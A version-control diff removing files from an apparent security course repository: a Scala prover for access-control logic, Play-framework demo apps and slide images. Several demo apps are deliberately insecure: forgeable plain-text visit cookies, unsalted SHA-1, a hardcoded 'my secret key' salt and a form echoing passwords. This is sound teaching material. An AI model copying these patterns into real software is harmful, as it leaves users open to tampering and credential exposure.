-import scala.util._
-
-abstract class Term 
-case class Var(s: String) extends Term 
-case class Const(s: String) extends Term 
-case class Fun(s: String, ts: List[Term]) extends Term
-
-abstract class Form
-case object True extends Form
-case object False extends Form
-case class Pred(s: String, ts: List[Term]) extends Form
-case class Imp(f1: Form, f2: Form) extends Form
-case class Says(p: String, f: Form) extends Form 
-case class And(f1: Form, f2: Form) extends Form 
-case class Or(f1: Form, f2: Form) extends Form 
-
-case class Judgement(gamma: Set[Form], f: Form) {
-  def lhs = gamma
-  def rhs = f
-}
-
-// some syntactic sugar
-implicit def FormOps(f1: Form) = new {
-  def -> (f2: Form) = Imp(f1, f2)
-}
-implicit def StringOps(p: String) = new {
-  def says (f: Form) = Says(p, f)
-}
-implicit def SetFormOps(gamma: Set[Form]) = new {
-  def |- (f: Form) : Judgement = Judgement(gamma, f)
-}
-
-val Admin = "Admin"
-val Bob = "Bob"
-val Del = Pred("del_file", Nil)
-
-val Gamma: Set[Form] = 
-  Set( (Admin says Del) -> Del,
-       Admin says ((Bob says Del) -> Del),
-       Bob says Del )
-
-val goal = Gamma |- Del // request: provable or not?
-
-def partitions[A](s: Set[A]): Set[(A, Set[A])]  = 
-  s.map (e => (e, s - e))
-
-
-def prove(j: Judgement, sc: () => Unit) : Unit = {
-  if (j.lhs.contains(j.rhs))  sc ()   // Axiom rule 
-  else prove1(j, sc) 
-}
-
-def prove1(j: Judgement, sc: () => Unit) : Unit = 
-  j.rhs match {
-    case True => sc ()
-    case False => ()
-    case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc) 
-    case Says(p, f1) => prove(j.lhs |- f1, sc) 
-    case Or(f1, f2) => 
-      { prove(j.lhs |- f1, sc);
-        prove(j.lhs |- f2, sc) }
-    case And(f1, f2) => 
-      prove(j.lhs |- f1, 
-            () => prove(j.lhs |- f2, sc))
-    case _ => { for ((f, lhs_rest) <- partitions(j.lhs))
-                  prove2(f, lhs_rest, j.rhs, sc) }
-  }
-
-def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit = 
-  f match {
-    case True => prove(lhs_rest |- rhs, sc)
-    case False => sc ()
-    case And(f1, f2) =>
-      prove(lhs_rest + f1 + f2 |- rhs, sc)
-    case Imp(f1, f2) => 
-      prove(lhs_rest |- f1, 
-            () => prove(lhs_rest + f2 |- rhs, sc))
-    case Or(f1, f2) => 
-      prove(lhs_rest + f1 |- rhs, 
-            () => prove(lhs_rest + f2 |- rhs, sc))
-    case Says(p, Imp(f1, f2)) => 
-      prove(lhs_rest |- Says(p, f1), 
-            () => prove(lhs_rest + Says(p, f2) |- rhs, sc)) 
-    case _ => ()
-  }
-
-// function that calls prove and returns immediately once a proof is found
-def run (j : Judgement) : Unit = {
-  def sc () = { println ("Yes!"); throw new Exception }
-  Try(prove(j, sc)) getOrElse ()
-} 
-
-run (goal)
-
-run (Set[Form]() |- False -> Del)
-run (Set[Form]() |- True -> Del)
-run (Set[Form]() |- Del -> True)
-run (Set[Form]() |- Del -> Del)
-run (Set[Form]() |- Del -> Or(False, Del))
-
-
-val Gamma1 : Set[Form] = 
-  Set( Admin says ((Bob says Del) -> Del),
-       Bob says Del )
-
-val goal1 = Gamma1 |- Del // not provable
-run (goal1)
-
-
-val f1 = Pred("F1", Nil)
-val f2 = Pred("F2", Nil)
-run (Set[Form](And(f1, f2)) |- And(f2, f1))
-
-
-val Chr = "Christian"
-val HoD = "Peter"
-val Email = Pred("may_btain_email", List(Const(Chr)))
-val AtLib = Pred("is_at_library", List(Const(Chr)))
-val Chr_Staff = Pred("is_staff", List(Const(Chr)))
-
-val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
-val Policy_Lib = And(Chr_Staff, AtLib) -> Email
-val HoD_says = HoD says Chr_Staff
-
-run (Set[Form](AtLib, Policy_HoD, Policy_Lib, HoD_says) |- Email)
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 programs/routes
--- a/programs/routes	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,10 +0,0 @@
-# Application1 needs entries for both GET and POST 
-#
-# all other applications only need an entry for GET
-
-# Home page
-GET     /                           controllers.Application.index
-#POST    /                           controllers.Application.receive
-
-# Map static resources from the /public folder to the /assets URL path
-GET     /assets/*file               controllers.Assets.at(path="/public", file)
\ No newline at end of file
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/Application0.scala
--- a/progs/scala/Application0.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,24 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-
-// hello world program: 
-// just answer the GET request with a string
-
-object Application extends Controller {
-
-  // answering a GET request
-  def index = Action {
-    Ok(views.html.index("222Your new application is ready."))
-    //Ok("Hello World")
-  }  
-  
-}
-
-/*
- * HTML can be returned using
- *
- * Ok("<H1>Hello world!</H1>").as(HTML)
- *
- */ 
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/Application1.scala
--- a/progs/scala/Application1.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,39 +0,0 @@
-package controllers
-
-import play.api._
-import play.api.mvc._
-import play.api.data._
-import play.api.data.Forms._
-
-/*
- * Answers a GET-request by sending a simple login form.
- *
- * Processes the POST-data by just printing the results.
- *
- */
-
-object Application extends Controller {
-
-  // GET request -> login form
-  val index = Action { request =>
-    
-    val form = """
-               <form method="post"> 
-               Login: <input type="text" name="login"><br>
-               Password: <input type="password" name="password"><br>
-               <input type="submit"></form>"""
-
-    Ok(form).as(HTML)
-  }  
-
-  
-  // POST data: processing the login data
-  val receive = Action { request =>
-    
-    val form_data = Form(tuple ("login" -> text, "password" -> text))
-    val (login, password) = form_data.bindFromRequest()(request).get 
-    
-    Ok(s"Received login: $login and password: $password")
-  }
-  
-}
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/Application2.scala
--- a/progs/scala/Application2.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,43 +0,0 @@
-package controllers
-
-import play.api.mvc._
-
-/*
- * Application sets a cookie in plain ASCII on the
- * client's browser recording the number of visits
- * of a page.
- */
-
-object Application extends Controller {
-
-  //no or invalid cookie results in the counter being 0
-  def gt_cookie(c: Cookie) : Int = c.value match {
-    case s if (s.forall(_.isDigit)) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = {
-    Cookie("visits", i.toString)
-  }
-  
-  // GET request: read cookie data first
-  def index = Action { request =>
- 
-    //reads the cookie and extracts the visits counter   
-    val visits_cookie = request.cookies.get("visits")
-    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
-    //printing a message according to value of visits counter
-    val msg = 
-      if (visits >= 10)
-        s"You are a valued customer who has visited this site $visits times."               
-      else s"You have visited this site $visits times."
-    
-    //send message with new cookie
-    Ok(msg).withCookies(mk_cookie(visits + 1))
-  }
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/Application3.scala
--- a/progs/scala/Application3.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,50 +0,0 @@
-package controllers
-
-import play.api.mvc._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed and stored in the format:
- *
- * visits_counter/hashed_value 
- */
-
-object Application extends Controller {
-
-  //hash functions: SHA-1, SHA-256, etc
-  def mk_hash(s: String) : String = {
-    val hash_fun = MessageDigest.getInstance("SHA-1")
-    hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
-  }
-
-  //extracting from the string .../... the visits
-  //value and hash
-  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
-    case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = {
-    val hash = mk_hash(i.toString)
-    Cookie("visits", s"$i/$hash")
-  }
-   
-  def index = Action { request =>
-    val visits_cookie = request.cookies.get("visits")
-    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
-    val msg = 
-      if (visits >= 10)
-        s"You are a valued customer who has visited this site $visits times."               
-      else s"You have visited this site $visits times."
-    
-    Ok(msg).withCookies(mk_cookie(visits + 1))
-  }     
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/Application4.scala
--- a/progs/scala/Application4.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,52 +0,0 @@
-package controllers
-
-import play.api.mvc._
-import java.security.MessageDigest
-
-/*
- * Application sets a cookie in plain ASCII on the
- * clients browser recording the visits of a page.
- *
- * The cookie data is hashed and salted with a
- * secret key.
- */
-
-
-object Application extends Controller {
-
-  //secret key for salting 
-  val salt = "my secret key"
-
-  //SHA-1 + salt
-  def mk_hash(s: String) : String = {
-    val hash_fun = MessageDigest.getInstance("SHA-1")
-    hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
-  }
-
-  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
-    case Array(s, h) if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = {
-    val hash = mk_hash(i.toString)
-    Cookie("visits", s"$i/$hash")
-  }
-   
-  def index = Action { request =>
-
-    val visits_cookie = request.cookies.get("visits")
-    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
-    val msg = 
-      if (visits >= 10)
-        s"You are a valued customer who has visited this site $visits times."               
-      else s"You have visited this site $visits times."
-    
-    Ok(msg).withCookies(mk_cookie(visits + 1))
-  }     
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/app0.scala
--- a/progs/scala/app0.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,13 +0,0 @@
-package controllers
-import play.api.mvc._
-
-object Application extends Controller {
-
-  // answering a GET request
-  val index = Action { request =>
-    Ok("Hello world!")
-  }  
-}
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/app1.scala
--- a/progs/scala/app1.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,26 +0,0 @@
-object Application extends Controller {
-
-  // GET request -> present login form
-  val index = Action { request =>
-    
-    val form = 
-       """<form method="post"> 
-          Login: <input type="text" name="login"><br>
-          Password: <input type="password" name="password"><br>
-          <input type="submit"></form>"""
-
-    Ok(form).as(HTML)
-  }  
-
-  // POST data: processing the login data
-  val receive = Action { request =>
-    
-    val form_data = Form(tuple ("login" -> text, "password" -> text))
-    def (login, passwd) = form_data.bindFromRequest()(request).get
-    
-    Ok(s"Received login: $login and password: $passwd")
-  }
-}
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/app2.scala
--- a/progs/scala/app2.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,30 +0,0 @@
-object Application extends Controller {
-
-  def gt_cookie(c: Cookie) : Int = c.value match {
-    case s if (s.forall(_.isDigit)) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = Cookie("visits", i.toString)
-  
-  // GET request: read cookie data first
-  def index = Action { request =>
- 
-    //reads the cookie and extracts the visits counter   
-    val visits_cookie = request.cookies.get("visits")
-    val visits = visits_cookie.map(gt_cookie).getOrElse(0)
-
-    //printing a message according to value of visits counter
-    val msg = 
-      if (visits >= 10)
-        s"You are a valued customer who has visited this site $visits times."               
-      else s"You have visited this site $visits times."
-    
-    //send message with new cookie
-    Ok(msg).withCookies(mk_cookie(visits + 1))
-  }
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/app3.scala
--- a/progs/scala/app3.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,25 +0,0 @@
-object Application extends Controller {
-
-  //SHA-1, SHA-256
-  def mk_hash(s: String) : String = {
-    val hash_fun = MessageDigest.getInstance("SHA-1")
-    hash_fun.digest(s.getBytes).map{ "%02x".format(_) }.mkString
-  }
-
-  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
-    case Array(s, h) 
-      if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = {
-    val hash = mk_hash(i.toString)
-    Cookie("visits", s"$i/$hash")
-  }
-   
-  def index = Action { request => ... }     
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/app4.scala
--- a/progs/scala/app4.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,27 +0,0 @@
-object Application extends Controller {
-
-  val salt = "my secret key"
-
-  //SHA-1 + salt
-  def mk_hash(s: String) : String = {
-    val hash_fun = MessageDigest.getInstance("SHA-1")
-    hash_fun.digest((s + salt).getBytes).map{ "%02x".format(_) }.mkString
-  }
-
-  def gt_cookie(c: Cookie) : Int = c.value.split("/") match {
-    case Array(s, h) 
-      if (s.forall(_.isDigit) && mk_hash(s) == h) => s.toInt 
-    case _ => 0
-  }
-
-  def mk_cookie(i: Int) : Cookie = {
-    val hash = mk_hash(i.toString)
-    Cookie("visits", s"$i/$hash")
-  }
-   
-  def index = Action { request => ... }
-}
-
-
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/prove.scala
--- a/progs/scala/prove.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,179 +0,0 @@
-import scala.language.implicitConversions
-import scala.language.reflectiveCalls
-import scala.util._
-
-abstract class Term 
-case class Var(s: String) extends Term 
-case class Const(s: String) extends Term 
-case class Fun(s: String, ts: List[Term]) extends Term
-
-abstract class Form
-case object True extends Form
-case object False extends Form
-case class Pred(s: String, ts: List[Term]) extends Form
-case class Imp(f1: Form, f2: Form) extends Form
-case class Says(p: String, f: Form) extends Form 
-case class And(f1: Form, f2: Form) extends Form 
-case class Or(f1: Form, f2: Form) extends Form 
-case class Sends(p: String, q: String, f: Form) extends Form
-case class Enc(f1: Form, f2: Form) extends Form
-
-case class Judgement(gamma: Set[Form], f: Form) {
-  def lhs = gamma
-  def rhs = f
-}
-
-// some syntactic sugar
-implicit def FormOps(f1: Form) = new {
-  def -> (f2: Form) = Imp(f1, f2)
-}
-implicit def StringOps(p: String) = new {
-  def says (f: Form) = Says(p, f)
-}
-implicit def SetFormOps(gamma: Set[Form]) = new {
-  def |- (f: Form) : Judgement = Judgement(gamma, f)
-}
-
-val Admin = "Admin"
-val Bob = "Bob"
-val Del = Pred("del_file", Nil)
-
-val Gamma: Set[Form] = 
-  Set( (Admin says Del) -> Del,
-       Admin says ((Bob says Del) -> Del),
-       Bob says Del )
-
-val goal = Gamma |- Del // request: provable or not?
-
-def partitions[A](s: Set[A]): Set[(A, Set[A])]  = 
-  s.map (e => (e, s - e))
-
-
-def prove(j: Judgement, sc: () => Unit) : Unit = {
-  if (j.lhs.contains(j.rhs))  sc ()   // Axiom rule 
-  else { 
-    prove1(j, sc);
-    for ((f, lhs_rest) <- partitions(j.lhs)) prove2(f, lhs_rest, j.rhs, sc)
-  }
-}
-
-def prove1(j: Judgement, sc: () => Unit) : Unit = 
-  j.rhs match {
-    case True => sc ()
-    case False => ()
-    case Imp(f1, f2) => prove(j.lhs + f1 |- f2, sc) 
-    case Says(p, Enc(f1, f2)) => 
-      prove(j.lhs |- Says(p, f1), 
-            () => prove(j.lhs |- Says(p, f2), sc))
-    case Says(p, f1) => prove(j.lhs |- f1, sc) 
-    case Or(f1, f2) => 
-      { prove(j.lhs |- f1, sc);
-        prove(j.lhs |- f2, sc) }
-    case And(f1, f2) => 
-      prove(j.lhs |- f1, 
-            () => prove(j.lhs |- f2, sc))
-    case Sends(p, q, f) => prove(j.lhs + (p says f) |- (q says f), sc)
-    case _ => ()
-  }
-
-def prove2(f: Form, lhs_rest: Set[Form], rhs: Form, sc: () => Unit) : Unit = 
-  f match {
-    case True => prove(lhs_rest |- rhs, sc)
-    case False => sc ()
-    case And(f1, f2) =>
-      prove(lhs_rest + f1 + f2 |- rhs, sc)
-    case Imp(f1, f2) => 
-      prove(lhs_rest |- f1, 
-            () => prove(lhs_rest + f2 |- rhs, sc))
-    case Sends(p, q, f) => 
-      prove(lhs_rest |- (p says f), 
-            () => prove(lhs_rest + (q says f) |- rhs, sc))
-    case Enc(f1, f2) => 
-      prove(lhs_rest |- f1, 
-            () => prove(lhs_rest + f2 |- rhs, sc))
-    case Or(f1, f2) => 
-      prove(lhs_rest + f1 |- rhs, 
-            () => prove(lhs_rest + f2 |- rhs, sc))
-    case Says(p, Enc(f1, f2)) => 
-      prove(lhs_rest |- Says(p, f2), 
-            () => prove(lhs_rest + Says(p, f1) |- rhs, sc))
-    case Says(p, Imp(f1, f2)) => 
-      prove(lhs_rest |- Says(p, f1), 
-            () => prove(lhs_rest + Says(p, f2) |- rhs, sc))
-     
-    case _ => ()
-  }
-
-// function that calls prove and returns immediately once a proof is found
-def run (j : Judgement) : Unit = {
-  def sc () = { println ("Yes!"); throw new Exception }
-  Try(prove(j, sc)) getOrElse ()
-} 
-
-run (goal)
-
-run (Set[Form]() |- False -> Del)
-run (Set[Form]() |- True -> Del)
-run (Set[Form]() |- Del -> True)
-run (Set[Form]() |- Del -> Del)
-run (Set[Form]() |- Del -> Or(False, Del))
-
-
-val Gamma1 : Set[Form] = 
-  Set( Admin says ((Bob says Del) -> Del),
-       Bob says Del )
-
-val goal1 = Gamma1 |- Del // not provable
-run (goal1)
-
-
-val f1 = "P" says Pred("F1", Nil)
-val f2 = "Q" says Pred("F2", Nil)
-run (Set[Form](And(f1, f2)) |- And(f2, f1))
-
-
-val Chr = "Christian"
-val HoD = "Peter"
-val Email = Pred("may_obtain_email", List(Const(Chr)))
-val AtLib = Pred("is_at_library", List(Const(Chr)))
-val Chr_Staff = Pred("is_staff", List(Const(Chr)))
-
-val Policy_HoD = (HoD says Chr_Staff) -> Chr_Staff
-val Policy_Lib = And(Chr_Staff, AtLib) -> Email
-val HoD_says = HoD says Chr_Staff
-
-run (Set[Form](AtLib, Policy_HoD, Policy_Lib) |- Email)
-
-println("Server Example")
-
-def Connect(p: String, q: String) : Form =
-  Pred("Connect", List(Var(p), Var(q)))
-
-
-val A = "A"
-val B = "B"
-val S = "S"
-val CAB = Connect(A, B)
-val Msg = Pred("Msg", Nil)
-val KAS = Pred("Kas", Nil)
-val KBS = Pred("Kbs", Nil)
-val KAB = Pred("Kab", Nil)
-
-val Gamma_big : Set[Form] = 
-  Set( A says CAB,
-       Sends(A, S, CAB), 
-       S says (CAB -> Enc(KAB, KAS)),
-       S says (CAB -> Enc(Enc(KAB, KBS), KAS)),
-       Sends(S, A, Enc(KAB, KAS)),
-       Sends(S, A, Enc(Enc(KAB, KBS), KAS)),
-       Sends(A, B, Enc(KAB, KBS)),
-       Sends(A, B, Enc(Msg, KAB)),
-       A says KAS,
-       B says KBS,
-       S says KAS,
-       A says (Enc(Msg, KAB))
-     )
-
-run (Gamma_big |- (B says Msg))
-
-
diff -r 9c968d0de9a0 -r 2ce98ee39990 progs/scala/random.scala
--- a/progs/scala/random.scala	Sat Oct 04 12:46:04 2014 +0100
+++ /dev/null	Thu Jan 01 00:00:00 1970 +0000
@@ -1,18 +0,0 @@
-
-val m = 16
-val a = 5
-val c = 1
-val X0 = 10
-
-def ran(n: Int, X: Int) : Set[Int] = n match {
-  case 0 => Set()
-  case n => {
-    val X_new = (a * X + c) % m
-    Set(X) ++ ran(n - 1, X_new) 
-  }
-}
-
-for (i <- 0 to 16) {
-  val l = ran(16, i)
-  println(l.size.toString + " " + l.toString)
-}
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/IEEElog.jpg
Binary file slides/pics/IEEElog.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/MafiaInMiddle.jpg
Binary file slides/pics/MafiaInMiddle.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/MigInMiddle.jpg
Binary file slides/pics/MigInMiddle.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/Voting1.png
Binary file slides/pics/Voting1.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/Voting2.png
Binary file slides/pics/Voting2.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/Voting3.png
Binary file slides/pics/Voting3.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/Voting4.png
Binary file slides/pics/Voting4.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/accesscontrolbook.jpg
Binary file slides/pics/accesscontrolbook.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/anderson.jpg
Binary file slides/pics/anderson.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/andersonbook1.jpg
Binary file slides/pics/andersonbook1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/appel.jpg
Binary file slides/pics/appel.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/appelseals.jpg
Binary file slides/pics/appelseals.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/bag.png
Binary file slides/pics/bag.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/ballotbox.jpg
Binary file slides/pics/ballotbox.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/bank.png
Binary file slides/pics/bank.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/barrier.jpg
Binary file slides/pics/barrier.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/britkeys1.jpg
Binary file slides/pics/britkeys1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/britkeys2.jpg
Binary file slides/pics/britkeys2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/cart.gif
Binary file slides/pics/cart.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/chip-attack.png
Binary file slides/pics/chip-attack.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/chipnpinflaw.png
Binary file slides/pics/chipnpinflaw.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/creditcard1.jpg
Binary file slides/pics/creditcard1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/creditcard2.jpg
Binary file slides/pics/creditcard2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/cross.png
Binary file slides/pics/cross.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/cryptographic-small.png
Binary file slides/pics/cryptographic-small.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/customers.png
Binary file slides/pics/customers.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/dogs.jpg
Binary file slides/pics/dogs.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/dre1.jpg
Binary file slides/pics/dre1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/dre2.jpg
Binary file slides/pics/dre2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/factory.png
Binary file slides/pics/factory.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/firewall.png
Binary file slides/pics/firewall.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/gattaca.jpg
Binary file slides/pics/gattaca.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/gchq.jpg
Binary file slides/pics/gchq.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/gear.gif
Binary file slides/pics/gear.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/gman.png
Binary file slides/pics/gman.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/india1.jpg
Binary file slides/pics/india1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/india2.jpg
Binary file slides/pics/india2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/indiaellection.jpg
Binary file slides/pics/indiaellection.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/laptop.png
Binary file slides/pics/laptop.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/lavabit-email.jpg
Binary file slides/pics/lavabit-email.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/leavermachine.jpg
Binary file slides/pics/leavermachine.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/netcloud.png
Binary file slides/pics/netcloud.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/nsa.png
Binary file slides/pics/nsa.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/nuclear1.jpg
Binary file slides/pics/nuclear1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/nuclear2.jpg
Binary file slides/pics/nuclear2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/opticalscan.jpg
Binary file slides/pics/opticalscan.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/pinsentry.jpg
Binary file slides/pics/pinsentry.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/pointsplane.jpg
Binary file slides/pics/pointsplane.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/punchcard1.jpg
Binary file slides/pics/punchcard1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/punchcard2.jpg
Binary file slides/pics/punchcard2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/questionmark.png
Binary file slides/pics/questionmark.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/radeon.jpg
Binary file slides/pics/radeon.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/rbssecure.gif
Binary file slides/pics/rbssecure.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/rbssecure.jpg
Binary file slides/pics/rbssecure.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/river-stones.jpg
Binary file slides/pics/river-stones.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/rman.png
Binary file slides/pics/rman.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/schneier.png
Binary file slides/pics/schneier.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/schneierbook1.jpg
Binary file slides/pics/schneierbook1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/schneierbook2.jpg
Binary file slides/pics/schneierbook2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/schneierbook3.jpg
Binary file slides/pics/schneierbook3.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/seal.gif
Binary file slides/pics/seal.gif has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/seal.jpg
Binary file slides/pics/seal.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/servers.png
Binary file slides/pics/servers.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/smartwater.jpg
Binary file slides/pics/smartwater.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/snowden.jpg
Binary file slides/pics/snowden.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/stack1.png
Binary file slides/pics/stack1.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/stack2.png
Binary file slides/pics/stack2.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/stack3.png
Binary file slides/pics/stack3.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/store.png
Binary file slides/pics/store.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/tan1.jpg
Binary file slides/pics/tan1.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/tan2.jpg
Binary file slides/pics/tan2.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/tetris.jpg
Binary file slides/pics/tetris.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/thief.png
Binary file slides/pics/thief.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/trainwreck.jpg
Binary file slides/pics/trainwreck.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/tweet.jpg
Binary file slides/pics/tweet.jpg has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/userm.png
Binary file slides/pics/userm.png has changed
diff -r 9c968d0de9a0 -r 2ce98ee39990 slides/pics/userw.jpg
Binary file slides/pics/userw.jpg has changed
